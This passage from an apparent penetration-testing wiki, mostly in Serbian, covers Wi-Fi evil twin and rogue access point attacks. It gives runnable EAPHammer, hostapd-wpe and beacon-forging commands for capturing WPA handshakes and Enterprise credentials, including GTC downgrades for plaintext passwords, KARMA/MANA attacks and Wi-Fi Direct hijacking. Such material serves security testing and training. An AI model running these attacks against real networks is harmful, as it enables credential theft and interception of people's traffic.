Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it).

Neki OS i AV će upozoriti korisnika da je povezivanje na Open network opasno...

WPA/WPA2 Evil Twin

Možete napraviti Evil Twin koristeći WPA/2 i ako su uređaji konfigurisan da se povežu na taj SSID sa WPA/2, pokušaće da se povežu. Ipak, da biste kompletirali 4-way-handshake takođe morate znati lozinku koju će klijent koristiti. Ako je ne znate, veza neće biti kompletirana.

bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Da biste razumeli ovaj napad, preporučujem da pre toga pročitate kratak WPA Enterprise explanation.

Korišćenje hostapd-wpe

hostapd-wpe zahteva konfiguracioni fajl da bi radio. Za automatizaciju generisanja ovih konfiguracija možete koristiti https://github.com/WJDigby/apd_launchpad (preuzmite python fajl iz /etc/hostapd-wpe/)

bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

U konfiguracionom fajlu možete izabrati mnogo različitih stvari kao što su ssid, channel, user files, cret/key, dh parameters, wpa version and auth...

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

Korišćenje EAPHammer

bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Podrazumevano, EAPHammer koristi sledeće metode autentifikacije (obratite pažnju da je GTC prva koja se koristi u pokušaju da se dobiju plaintext lozinke, nakon čega se koriste robusnije metode autentifikacije):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Ovo je podrazumevana metodologija da bi se izbeglo dugo vreme povezivanja. Međutim, možete i da navedete serveru metode autentifikacije od najslabije do najjače:

--negotiate weakest

Ili možete takođe koristiti:

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • Find more info in the wiki

Korišćenje Airgeddon

Airgeddon može koristiti prethodno generisane certificated da ponudi EAP authentication za WPA/WPA2-Enterprise mreže. Lažna mreža će downgrade-ovati connection protocol na EAP-MD5 tako da će moći da capture the user and the MD5 of the password. Kasnije, attacker može pokušati da crack the password.
Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.

Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.

Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).

And look at the new "Decrypted TLS" tab:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Različite vrste Media Access Control Filter Lists (MFACLs) i njihovi odgovarajući režimi i efekti na ponašanje rogue Access Point (AP):

  1. MAC-based Whitelist:
  • Rogue AP će odgovarati samo na probe requests od uređaja navedenih u whitelist-u, ostajući nevidljiv za sve ostale koji nisu na listi.
  1. MAC-based Blacklist:
  • Rogue AP će ignorisati probe requests od uređaja na blacklist-i, efektivno čineći rogue AP nevidljivim za te specifične uređaje.
  1. SSID-based Whitelist:
  • Rogue AP će odgovarati na probe requests samo za specifične ESSIDs koje su navedene, čineći ga nevidljivim za uređaje čiji Preferred Network Lists (PNLs) ne sadrže te ESSID-e.
  1. SSID-based Blacklist:
  • Rogue AP neće odgovarati na probe requests za specifične ESSID-e na blacklist-i, čineći ga nevidljivim za uređaje koji traže te konkretne mreže.
bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Ovaj metod omogućava napadaču da kreira maliciozan access point (AP) koji odgovara na sve probe zahteve sa uređaja koji pokušavaju da se povežu na mreže. Ova tehnika zavarava uređaje da se povežu na napadačev AP oponašajući mreže koje uređaji traže. Kada uređaj pošalje zahtev za vezu tom rogue AP-u, veza se uspostavi, što dovodi do toga da se uređaj greškom poveže na napadačevu mrežu.

MANA

Zatim, uređaji su počeli da ignorišu neželjene odgovore mreža, smanjujući efikasnost originalnog karma napada. Međutim, novi metod, poznat kao MANA attack, predstavili su Ian de Villiers i Dominic White. Ovaj metod uključuje rogue AP koji hvata Preferred Network Lists (PNL) sa uređaja odgovarajući na njihove broadcast probe zahteve sa imenima mreža (SSIDs) koje su uređaji ranije koristili. Ovaj sofisticirani napad zaobilazi zaštite protiv originalnog karma napada iskorišćavanjem načina na koji uređaji pamte i prioritizuju poznate mreže.

MANA attack funkcioniše nadgledajući i usmerene i broadcast probe zahteve sa uređaja. Za usmerene zahteve, beleži MAC adresu uređaja i traženo ime mreže, dodajući ove informacije na listu. Kada stigne broadcast zahtev, AP odgovara informacijama koje se poklapaju sa bilo kojom mrežom na listi uređaja, navodeći uređaj da se poveže na rogue AP.

bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Loud MANA attack je napredna strategija za situacije kada uređaji ne koriste directed probing ili kada su njihove Preferred Network Lists (PNL) nepoznate napadaču. Deluje po principu da uređaji u istom području verovatno dele neke nazive mreža u svojim PNLs. Umesto selektivnog odgovaranja, ovaj napad emituje probe responses za svaki network name (ESSID) pronađen u kombinovanim PNLs svih posmatranih uređaja. Ovaj široki pristup povećava verovatnoću da će uređaj prepoznati poznatu mrežu i pokušati da se poveže na rogue Access Point (AP).

bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Kada Loud MANA attack možda nije dovoljan, Known Beacon attack nudi drugačiji pristup. Ova metoda brute-force-uje proces povezivanja simulirajući AP koji odgovara na bilo koje ime mreže, prolazeći kroz listu potencijalnih ESSIDs izvedenih iz wordlist. Time se simulira prisustvo brojnih mreža, sa nadom da će neki ESSID odgovarati onom u PNL žrtve, što podstiče pokušaj povezivanja na izmišljeni AP. Napad se može pojačati kombinovanjem sa --loud opcijom za agresivniji pokušaj da se uhvate uređaji.

Eaphammer je implementirao ovaj napad kao MANA attack gde su svi ESSIDs iz liste emitovani (takođe možete kombinovati ovo sa --loud da kreirate Loud MANA + Known beacons attack):

bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

The Known Beacon Burst attack podrazumeva brzo emitovanje beacon frames za svaki ESSID naveden u fajlu. Ovo stvara gusto okruženje lažnih mreža, značajno povećavajući verovatnoću da se uređaji povežu na rogue AP, naročito u kombinaciji sa MANA attack. Ova tehnika koristi brzinu i obim da preoptereti mehanizme uređaja za izbor mreže.

bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct je protokol koji omogućava uređajima da se povežu direktno jedni sa drugima koristeći Wi-Fi, bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova mogućnost je integrisana u razne Internet of Things (IoT) uređaje, kao što su štampači i televizori, olakšavajući direktnu komunikaciju uređaj–uređaј. Značajna osobina Wi-Fi Direct-a je da jedan uređaj preuzima ulogu access point-a, poznat kao group owner, da upravlja konekcijom.

Bezbednost Wi-Fi Direct konekcija se uspostavlja kroz Wi-Fi Protected Setup (WPS), koji podržava nekoliko metoda za bezbedno sparivanje, uključujući:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Ove metode, posebno PIN entry, podložne su istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, čineći ih metama za slične vektore napada.

EvilDirect Hijacking

EvilDirect Hijacking je napad specifičan za Wi-Fi Direct. Odgovara konceptu Evil Twin napada, ali cilja Wi-Fi Direct konekcije. U ovom scenariju, napadač se predstavlja kao legitimni group owner sa ciljem da prevari uređaje da se povežu na zlonamerni uređaj. Ova metoda može biti izvedena korišćenjem alata kao što je airbase-ng navodeći kanal, ESSID i MAC adresu lažiranog uređaja:

References

TODO: Pogledajte https://github.com/wifiphisher/wifiphisher (login con facebook e imitacionde WPA en captive portals)

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks